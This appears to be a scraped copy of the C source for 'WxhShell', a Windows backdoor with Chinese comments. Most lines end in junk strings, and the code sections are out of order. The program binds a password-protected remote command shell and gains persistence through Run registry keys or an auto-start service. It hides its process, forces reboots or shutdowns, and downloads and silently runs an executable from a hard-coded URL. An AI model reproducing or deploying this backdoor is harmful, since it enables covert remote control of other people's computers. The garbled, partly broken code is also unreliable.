    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f>|9 l  
    if(Boot(SHUTDOWN)) j`{fB}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LPb]mC6#  
    else { m\l51}xz  
    closesocket(wsh); %C6|-?TAd  
    ExitThread(0); \f6lT3"VN  
    } i'U,S`L6>  
    break; ;g&7*1E  
    } YmZC?x_{M2  
  // 获取shell /7.wQeL9  
  case 's': { t;h+Cf4  
    CmdShell(wsh); ]aREQ?ma&z  
    closesocket(wsh); 8u4gx<;O  
    ExitThread(0); q$ bHO  
    break;  fF\*v  
  } )J{.Cx<E  
  // 退出 GU2]/\W*a  
  case 'x': { owP6dtd)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o]dK^[/*  
    CloseIt(wsh); \o0z@Ntq  
    break; |}l@w +N3  
    } unx;m$-c  
  // 离开 ": mCZUt  
  case 'q': { .%|OGl ?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); { +i;e]c  
    closesocket(wsh); ^H f+du  
    WSACleanup(); @ARAX\F  
    exit(1); "K9vm^xP  
    break; @hE7r-}]  
        } pyu46iE)  
  } se4w~\/  
  } >^M!@=/?J  
mABwM$_  
  // 提示信息 ?FkQe~FN{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N:m@D][/sW  
} <|mE9u  
  } ,ivWVsN*]  
t't^E,E .@  
  return; }TXp<E"\  
} Sn{aHH  
n_e}>1_  
// shell模块句柄 ,U} 5  
int CmdShell(SOCKET sock) @vVRF Z  
{ oyi7YRvwd  
STARTUPINFO si; e<ism?WG  
ZeroMemory(&si,sizeof(si)); *y":@T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %[+a[/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4GmSG,]  
PROCESS_INFORMATION ProcessInfo; 4]|9!=\  
char cmdline[]="cmd"; ~ wJ3AqNC?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wj5qQ]WC  
  return 0; 2 zmQp  
} mR!&.R?  
Q6s5#7h'"  
// 自身启动模式 Kt/+PS  
int StartFromService(void) iA1;k*) q  
{ S'v V"  
typedef struct y \mutm  
{ a:(: :m  
  DWORD ExitStatus; "(HA9:  
  DWORD PebBaseAddress; |wyJh"4!  
  DWORD AffinityMask; b a1$kU  
  DWORD BasePriority; Ppi-skT  
  ULONG UniqueProcessId; q9g[+*9]$  
  ULONG InheritedFromUniqueProcessId; V'f&JQ A  
}   PROCESS_BASIC_INFORMATION; R &1mo  
[~Z'xY y  
PROCNTQSIP NtQueryInformationProcess; ]%WD} 4e  
]ft~OqLg!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E'Fv *UA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N4Fy8qU;  
ci{9ODN  
  HANDLE             hProcess; FBwncG$]F*  
  PROCESS_BASIC_INFORMATION pbi; ;?O883@r8  
xqi*N13  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]IbPWBX  
  if(NULL == hInst ) return 0; r=iMo7q  
~_# Y,)S!z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d =B@EyN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J;Z>fAE7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yccuTQvz  
Wzf1-0t  
  if (!NtQueryInformationProcess) return 0; f3%^-Uy*b  
S,)|~#5x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ` + n  
  if(!hProcess) return 0; Zh fD`@>&  
="'P=Xh!8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J6^Ct  
JPoK\- 9NT  
  CloseHandle(hProcess); I ]WeZ,E  
 i?i7T`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iz%A0Z+`bg  
if(hProcess==NULL) return 0; Vm,f3~  
3Q!J9t5dc  
HMODULE hMod; w$U/;C  
char procName[255]; t}c}@i_c  
unsigned long cbNeeded; +ia(%[  
n.)[MC}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Fv7%TK{oe  
44fq1<.K  
  CloseHandle(hProcess); _:fO)gs|1  
5M\=+5wB  
if(strstr(procName,"services")) return 1; // 以服务启动 !7"K>m<  
5qtmb4R~  
  return 0; // 注册表启动 EV?47\ ~  
} d;NFkA(df  
M~{P',l*  
// 主模块 s2kZZP8-  
int StartWxhshell(LPSTR lpCmdLine) ]zwqGA  
{ #()cG  
  SOCKET wsl; k1$2a8 ja  
BOOL val=TRUE; / Vm}+"BCS  
  int port=0; 2dd:5L,  
  struct sockaddr_in door; Jn <^Q7N  
7)(`  
  if(wscfg.ws_autoins) Install(); pJ*#aH[ySP  
Oih2UrF  
port=atoi(lpCmdLine); AZ9\>U@hD  
%3l;bR>  
if(port<=0) port=wscfg.ws_port; U)I `:J+A  
C +?@iMh  
  WSADATA data; D8D!16_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +^&v5[$R  
";S*[d.2tA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =`\,2Nb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b#I*~  
  door.sin_family = AF_INET; >2Qqa;nx|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dy{`">a  
  door.sin_port = htons(port); (P>eWw\0  
u0 oYb_Yv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6nWx>R<  
closesocket(wsl); :rs\ydDUF  
return 1; `j!2uRFe>  
} >K|GLP  
1={Tcq\]  
  if(listen(wsl,2) == INVALID_SOCKET) { 4(0t GF  
closesocket(wsl); iZq@W3GL C  
return 1; _l{ 5 'm  
} R;TEtu7  
  Wxhshell(wsl); 548 [! p4  
  WSACleanup(); UK <DcM~n  
]-5jgz"  
return 0; 2eR+dT  
0-~6} r$  
} o? O,nD 6  
^B!?;\4IM  
// 以NT服务方式启动 C8W`Oly:]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5fx,rtY2sQ  
{ > v!c\  
DWORD   status = 0; BQ}.+T\  
  DWORD   specificError = 0xfffffff; >wS:3$Q  
E#2k|TpH4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `w=H'"Zv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -z 5k4Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .kKwdqO+zB  
  serviceStatus.dwWin32ExitCode     = 0;  ~!d)J  
  serviceStatus.dwServiceSpecificExitCode = 0; ,S0~:c:)  
  serviceStatus.dwCheckPoint       = 0; Mm7n?kb6  
  serviceStatus.dwWaitHint       = 0; q}F%o0  
vBYT)S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CygV_q  
  if (hServiceStatusHandle==0) return; )< a8a@  
7f Tg97eF  
status = GetLastError(); TX [%s@C  
  if (status!=NO_ERROR) ^YJ^+:D(  
{ ^RyTK|SQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n `T[eb~  
    serviceStatus.dwCheckPoint       = 0; T!xy^n]}  
    serviceStatus.dwWaitHint       = 0; '-]BSU  
    serviceStatus.dwWin32ExitCode     = status; qddT9U|8~  
    serviceStatus.dwServiceSpecificExitCode = specificError; %V1T !<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (:Hbtr I  
    return; O9=H [b  
  } p,u<g JUL  
KIBZQ.uG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W]}V<S$  
  serviceStatus.dwCheckPoint       = 0; ;ld~21#m  
  serviceStatus.dwWaitHint       = 0; 2[&-y[1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $~@096`QL<  
} PW//8lsR  
>Wit"p  
// 处理NT服务事件,比如:启动、停止 ZFuJ2 :  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @$yYljP  
{ cTa D{!zm5  
switch(fdwControl) 6`";)T[G9  
{ >;r05,mc  
case SERVICE_CONTROL_STOP: ^?]H$e  
  serviceStatus.dwWin32ExitCode = 0; <$6'Mzf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {BCj VmY  
  serviceStatus.dwCheckPoint   = 0; HeifFJn  
  serviceStatus.dwWaitHint     = 0; N5Mz=UgB  
  { yW(+?7U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LLY;IUK!R  
  } eL?si!ZL^  
  return; 5 ^z ,'C  
case SERVICE_CONTROL_PAUSE: gI5nWEM0{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LbbQ3$@ WD  
  break; 4"(zi5`e  
case SERVICE_CONTROL_CONTINUE: OLup`~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |B$\3,  
  break; DMN H?6  
case SERVICE_CONTROL_INTERROGATE: 5 t?2B]  
  break; "[S 6w  
}; gbf=H8]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k[)@I;m  
} E(LE*J  
V(uRKu x  
// 标准应用程序主函数 !D&MJThNy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kD7(}N8YR  
{ aB!Am +g  
Z|S7 " ,  
// 获取操作系统版本 32P]0&_O  
OsIsNt=GetOsVer(); gK\7^95  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZKPkx~,U[  
S)|b%mVwR  
  // 从命令行安装 2I 7`  
  if(strpbrk(lpCmdLine,"iI")) Install(); u`@FA?+E1  
R0<Vd"  
  // 下载执行文件 iX6jvnJ:/  
if(wscfg.ws_downexe) { Q b{5*>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9,eR=M]+:  
  WinExec(wscfg.ws_filenam,SW_HIDE); O9)}:++T  
} FN EmGz/4  
%{abRBny  
if(!OsIsNt) { 'k Z1&_{  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ka\b_P&  
HideProc(); u*N8s[s'  
StartWxhshell(lpCmdLine); !z 5d+ M  
} S5a<L_  
else qDd/wR,44  
  if(StartFromService()) /mu4J|[[  
  // 以服务方式启动 E2kRt'~N  
  StartServiceCtrlDispatcher(DispatchTable); JW'acD  
else hP<qKVy  
  // 普通方式启动 Q 9<_:3  
  StartWxhshell(lpCmdLine); 7e[\0:Z  
r!,V_a4n  
return 0; f.^w/ GJO/  
} @2*6+w_Ae  
tgA |Vwwk  
Pp hQa!F$  
S9oGf  
=========================================== ]X|G+[Ujv  
S`w)b'B!M  
!PIdw~YC  
S]/ +n>  
D07u?  
*S_Iza #&x  
" PzDgl6C  
c (8J  
#include <stdio.h> J3+8s [oJ>  
#include <string.h> 0M+tKFb  
#include <windows.h> ~"Ki2'j)^]  
#include <winsock2.h> uwA3!5  
#include <winsvc.h> L(8dK  
#include <urlmon.h> uI&M|u:nT  
xR`2+t&t  
#pragma comment (lib, "Ws2_32.lib") Uk\U*\.  
#pragma comment (lib, "urlmon.lib") cSk}53  
", )  
#define MAX_USER   100 // 最大客户端连接数 5V bNWrw  
#define BUF_SOCK   200 // sock buffer r^^C9"  
#define KEY_BUFF   255 // 输入 buffer c%.& F  
7*"LW  
#define REBOOT     0   // 重启 qG]PUc>j  
#define SHUTDOWN   1   // 关机 e|yuPd  
I0RWdOK8K  
#define DEF_PORT   5000 // 监听端口 *$D-6}Oay  
Ngnjr7Q={T  
#define REG_LEN     16   // 注册表键长度 nB& 8=.  
#define SVC_LEN     80   // NT服务名长度 ht9b=1wd%s  
H]X)@n>  
// 从dll定义API EPy/6-5b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hGV/P94  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?9TogW>W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `oBzt |f5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <=M}[  
_s8_i6 Y  
// wxhshell配置信息 ;xwQzu%M>5  
struct WSCFG { lZ_k307  
  int ws_port;         // 监听端口 (mlc' ]F  
  char ws_passstr[REG_LEN]; // 口令 UXHFti/A<  
  int ws_autoins;       // 安装标记, 1=yes 0=no @1@WB ]mQQ  
  char ws_regname[REG_LEN]; // 注册表键名 tO3 ;; %  
  char ws_svcname[REG_LEN]; // 服务名 ^&HYnwk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e,8-P-h~T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cC.DBYV+-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R 0}%   
int ws_downexe;       // 下载执行标记, 1=yes 0=no sXu+F2O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dZmq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y>8?RX8  
q3`t0eLZ  
}; o:<3n,T  
^dv>n]?  
// default Wxhshell configuration jq{Ix  
struct WSCFG wscfg={DEF_PORT, 2wQ CQ"  
    "xuhuanlingzhe", >qA&;M  
    1, SZvsJ)  
    "Wxhshell", Uw"   
    "Wxhshell", Xk'.t|  
            "WxhShell Service", :f;|^(]"  
    "Wrsky Windows CmdShell Service", DAW%?(\,  
    "Please Input Your Password: ", K>y+3HN[6  
  1, G\%hT5^  
  "http://www.wrsky.com/wxhshell.exe", 4+Y5u4 `t  
  "Wxhshell.exe" \.] U  
    }; HrGX-6`  
J?'!8,RX  
// 消息定义模块 X)m2{@v D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {'!~j!1'j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h# 8b#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ty>O}9%  
char *msg_ws_ext="\n\rExit."; ^ a:F*<D  
char *msg_ws_end="\n\rQuit."; rej[G!  
char *msg_ws_boot="\n\rReboot..."; t ,$)PV  
char *msg_ws_poff="\n\rShutdown..."; *Y Ox`z!R  
char *msg_ws_down="\n\rSave to "; WM26-nR  
A_%w (7o"  
char *msg_ws_err="\n\rErr!"; k1J}9HNYR  
char *msg_ws_ok="\n\rOK!"; 1 <+^$QL  
mLE`IKgd]  
char ExeFile[MAX_PATH]; ] ?(=rm9u  
int nUser = 0; }g?]B+0  
HANDLE handles[MAX_USER]; X6RM2  
int OsIsNt;  t2iFd?  
nj mE>2  
SERVICE_STATUS       serviceStatus; 7Y/_/t~Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qM+T Wp  
r DuG["  
// 函数声明 k"J?-1L  
int Install(void); zVu}7v()  
int Uninstall(void); OK=t)6&b  
int DownloadFile(char *sURL, SOCKET wsh); }qTvUs  
int Boot(int flag); /hQ!dU.+  
void HideProc(void); X}$S|1CjO  
int GetOsVer(void); @kw=0  
int Wxhshell(SOCKET wsl); \#slZ;&s  
void TalkWithClient(void *cs); Lst5  
int CmdShell(SOCKET sock); ( C&f~U  
int StartFromService(void); R<-KXT9  
int StartWxhshell(LPSTR lpCmdLine); N5^:2ag  
+Q.[W`goV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M:x(_Lu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v;S JgZK  
8J} J;Ga  
// 数据结构和表定义 2 E^P=jU`  
SERVICE_TABLE_ENTRY DispatchTable[] = lgl/| ^ Uw  
{ \T0`GpE  
{wscfg.ws_svcname, NTServiceMain}, X`&E,;bIb  
{NULL, NULL} Ax ^9J)C  
}; eIJQ|p<v  
@y+Wl*:  
// 自我安装 qcqf9g  
int Install(void) v!2`hq O  
{ "2mVW_k  
  char svExeFile[MAX_PATH]; ZD3S|1zSQ  
  HKEY key; f4q-wX_1  
  strcpy(svExeFile,ExeFile); $\H>dm  
rAWBuEU;!  
// 如果是win9x系统,修改注册表设为自启动 ]#`bYh^y  
if(!OsIsNt) { [{YV<kN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %llG/]q#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l<5!R;?$  
  RegCloseKey(key); zC7;Zj*k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z\x6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3jeR;N]x  
  RegCloseKey(key); xfb%bkr  
  return 0; J#\/znT  
    } ~jgd92`{z  
  } V;$lgTs|'  
} IcB>Hg5  
else { \a<E3 <  
AK[c!mzx  
// 如果是NT以上系统,安装为系统服务 52oR^ |  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <iMLM<J<w  
if (schSCManager!=0) .fgoEB,(  
{ Gv`PCA@/d  
  SC_HANDLE schService = CreateService fI6F};I5}T  
  ( *N7\d9y  
  schSCManager, 6`'^$wKs  
  wscfg.ws_svcname, di"*K*~y  
  wscfg.ws_svcdisp, [X|P(&\hQd  
  SERVICE_ALL_ACCESS, @uc%]V<:k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OA+W$  
  SERVICE_AUTO_START, d/e9LK  
  SERVICE_ERROR_NORMAL, 7{6wNc  
  svExeFile, fy-( B;  
  NULL, grZN.zTO  
  NULL, yt?# T #  
  NULL, X]N8'Yt  
  NULL, Mf?4 `LM  
  NULL -Jb I7Le  
  ); #p^D([k \  
  if (schService!=0) \o/oM,u  
  { PWTAy\  
  CloseServiceHandle(schService); #N*~Q  
  CloseServiceHandle(schSCManager); nv|&|6?`oK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o;t{YfK  
  strcat(svExeFile,wscfg.ws_svcname); [=Xvp z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W_?S^>?l/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g%K3ah v  
  RegCloseKey(key); JWLQ9U X  
  return 0; ;(z0r_p<q  
    } c Mq|`CM  
  } iKu5K0x{>I  
  CloseServiceHandle(schSCManager); {L#Pdj{  
} L;Nm"[ `  
} C3|M\[*fp  
!O*\|7A(  
return 1; kc}e},k  
} VP[ J#TPU  
zzM 'uo  
// 自我卸载 C@xh$(y  
int Uninstall(void) 86[T BX5'  
{ TtHqdKL  
  HKEY key; o_?YYw-:  
-q[?,h  
if(!OsIsNt) { J 9z\ qTI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bEM-^SR  
  RegDeleteValue(key,wscfg.ws_regname); h 9No'!'!  
  RegCloseKey(key); }_K7}] 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JD.WH|sZ5  
  RegDeleteValue(key,wscfg.ws_regname); ?>2k>~xlQ  
  RegCloseKey(key); |@Bl?Bs+  
  return 0; (%tKGeb  
  } vFQ'sd]C  
}  1D6iJ  
} u\50,N9Wp{  
else { YI|7a#*F  
9\V^q9l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1%H]2@  
if (schSCManager!=0) 8!1vsEqv  
{ 4jvgyi 9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M5wj79'l"  
  if (schService!=0) `C,479~J  
  { #5F\zeo@F?  
  if(DeleteService(schService)!=0) { h&&ufF]D  
  CloseServiceHandle(schService); $Die~rPU  
  CloseServiceHandle(schSCManager); O.}{s;  
  return 0; ;'*"(F=D6  
  } ~i(X{ ^,3  
  CloseServiceHandle(schService); '(;`t1V8k  
  } S_WYU&8  
  CloseServiceHandle(schSCManager); G >bQlZG  
} c{z QX0  
} woQYP,  
4&}LYSZl  
return 1; 4;x{@Ln  
} UE5T%zd/  
o@vo,JU  
// 从指定url下载文件 tv5G']vO\  
int DownloadFile(char *sURL, SOCKET wsh) 6Z0@4_Y@B6  
{ aH*)W'N?  
  HRESULT hr; $0 eyp]XC\  
char seps[]= "/"; 3V2 "1Ic  
char *token; (]1n!  
char *file;  LGV"WE  
char myURL[MAX_PATH]; VD,g  
char myFILE[MAX_PATH]; I!~5.  
k68\ _NUL  
strcpy(myURL,sURL); -b8Vz}Y  
  token=strtok(myURL,seps); CM_FF:<tn  
  while(token!=NULL) ;mu^WIj  
  { wUv Zc  
    file=token; ;~3CuN8  
  token=strtok(NULL,seps); ,!Gw40t  
  } abp]qvCV  
CtfI&rb[  
GetCurrentDirectory(MAX_PATH,myFILE); Ru `&>E  
strcat(myFILE, "\\"); >:WnCkbp  
strcat(myFILE, file); |\Nu+w   
  send(wsh,myFILE,strlen(myFILE),0); > X<pzD3u  
send(wsh,"...",3,0); rLtB^?A z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,E<(K8  
  if(hr==S_OK) R_`i=>Z-  
return 0; `{#0C-  
else zuwlVn  
return 1; vvwNJyU-  
)%I2#Q"Nt-  
} [LbUlNq^B@  
 \9N1:  
// 系统电源模块 Z_Qs^e$  
int Boot(int flag) ,3=|a|p  
{ },lHa!<^  
  HANDLE hToken; 8>%:MS"  
  TOKEN_PRIVILEGES tkp; $hXhq*5|c  
W1fEUVj  
  if(OsIsNt) { @@M 2s(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rOHU)2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7.`Fe g.  
    tkp.PrivilegeCount = 1; .5 Sw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tNj-~r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |uf{:U)  
if(flag==REBOOT) { xM"k qRZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -PPH]?],  
  return 0; t"4RGO)jh  
} yhxen  
else { V(u#8M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a\;Vly;  
  return 0; GgwO>[T  
} Sc#B -4m  
  } =:A hg 9  
  else { QQ;<L"VW  
if(flag==REBOOT) { E{'{fo!#)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %&w 8E[  
  return 0; [$:M/5y9  
} Ws$<B b  
else { dNK Q&TC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $R6iG\V5  
  return 0; ++1<A& a  
} vkUXMMuf+e  
} ?tx%K U\3  
>U .  
return 1; #SyF-QZ[1  
} #e)A  
lOB*M!8   
// win9x进程隐藏模块 ,41Z_h  
void HideProc(void) "x~VXU%xU  
{ trlZ^K  
:4JqT|nS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =Y!x  
  if ( hKernel != NULL ) 4 JC*c  
  { PW7{,1te,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RI.6.f1dy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;J [ed>v;3  
    FreeLibrary(hKernel); /q[5-96c  
  } /6S% h-#\  
YvA@I|..~  
return; k%2woHSu&  
} / ,Unp1D  
!A_<(M<  
// 获取操作系统版本 Q5Yy \M  
int GetOsVer(void) v|~&I%S7  
{ [&H$Su}$0  
  OSVERSIONINFO winfo; ^hL?.xj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z8mSm[w  
  GetVersionEx(&winfo); DNTkv_S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pAK7V;sJ  
  return 1; *S _[8L"  
  else 9rD6."G  
  return 0; 3X|7 R  
} j:k}6]p}  
5~8FZ-x  
// 客户端句柄模块 F/8="dM  
int Wxhshell(SOCKET wsl) +ftOJFkI  
{ `eZ +Pf".  
  SOCKET wsh; -!_\4  
  struct sockaddr_in client; 1=o|[7  
  DWORD myID; `wGP31Y.  
''. P=  
  while(nUser<MAX_USER) Q#gzk%jL@  
{ '2LK(uaU  
  int nSize=sizeof(client); <d*;d3gm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &ZyZmB  
  if(wsh==INVALID_SOCKET) return 1; 8nV#\J9  
 x&^>|'H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pk>p|q  
if(handles[nUser]==0) EuH[G_5e0  
  closesocket(wsh); MawWgd*  
else XHN*'@ 77;  
  nUser++; s}1S6*Cr  
  } [B0]%!hFw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mE>v (JY  
#k}x} rn<'  
  return 0; 6I8A[   
} ,q_'l?Pn  
_U Q|I|V#  
// 关闭 socket 1UHlA8w7 Q  
void CloseIt(SOCKET wsh) A5WchS'  
{ &Y `V A  
closesocket(wsh); H]I^?+)9  
nUser--; n7EG%q6m+  
ExitThread(0); HLL:nczj  
} !\'NBq,  
KCDbE6  
// 客户端请求句柄 ='rSB.$Ctk  
void TalkWithClient(void *cs) 7A,QA5G ]C  
{ >0XB7sC  
U-]Rm}X\M  
  SOCKET wsh=(SOCKET)cs; 9sQ #v-+Yx  
  char pwd[SVC_LEN]; n PAl8  
  char cmd[KEY_BUFF]; ?@@BIg-  
char chr[1]; DA9-F  
int i,j; At t~N TL  
A vh"(j  
  while (nUser < MAX_USER) { &7 0o4~Fr  
n7A %y2  
if(wscfg.ws_passstr) { 'nx";[6(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q|$?d4La8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?=^~(x?S  
  //ZeroMemory(pwd,KEY_BUFF); %@q/OVnM  
      i=0; 31cC*  
  while(i<SVC_LEN) { F ]qX}  
O,D/& 0  
  // 设置超时 j]6c_r3  
  fd_set FdRead; -O~ V4004  
  struct timeval TimeOut; 9y$"[d27;+  
  FD_ZERO(&FdRead); L!>EW0  
  FD_SET(wsh,&FdRead); HxE`"/~.7k  
  TimeOut.tv_sec=8; i!nPiac  
  TimeOut.tv_usec=0; Le?yzf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SWq5=h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s.uw,x  
0b3z(x!O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7,v}Ap]Pa  
  pwd=chr[0]; e5z U`R  
  if(chr[0]==0xd || chr[0]==0xa) { B* hW  
  pwd=0; q@@C|oqEX  
  break; ^.Xom~  
  } *LA2@9l  
  i++; q@+#CUa&n  
    } $~G=Hcl9  
_yH=w'8.  
  // 如果是非法用户,关闭 socket +k?0C?/T;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _+0Q Q{'N  
} :~PzTUz  
`A0trC3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6xC$R q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j34L*?  
\v,m r|  
while(1) { K}KgCJ3  
"TQ3{=j{  
  ZeroMemory(cmd,KEY_BUFF); T+knd'2V6  
i0jR~vF {B  
      // 自动支持客户端 telnet标准   QRw/d}8l  
  j=0; naaww  
  while(j<KEY_BUFF) { Fx]}<IudA^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7%7 \2!0J}  
  cmd[j]=chr[0]; y]YUuJ9a  
  if(chr[0]==0xa || chr[0]==0xd) { tUrwg  
  cmd[j]=0; %=G*{mK  
  break; 15)y]N={^  
  } lDU@Q(V#}<  
  j++; .$s>b#mO  
    } dU<qFxW  
`9>1 w d  
  // 下载文件 9|K3xH  
  if(strstr(cmd,"http://")) { (Z)F6sZ`8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2$@N4  
  if(DownloadFile(cmd,wsh)) H6Dw5vG"l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]N#%exBVo  
  else 2sXNVo8`w"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >vny9^_  
  } e^ ZxU/e  
  else { R{0nk   
4],*y`& g  
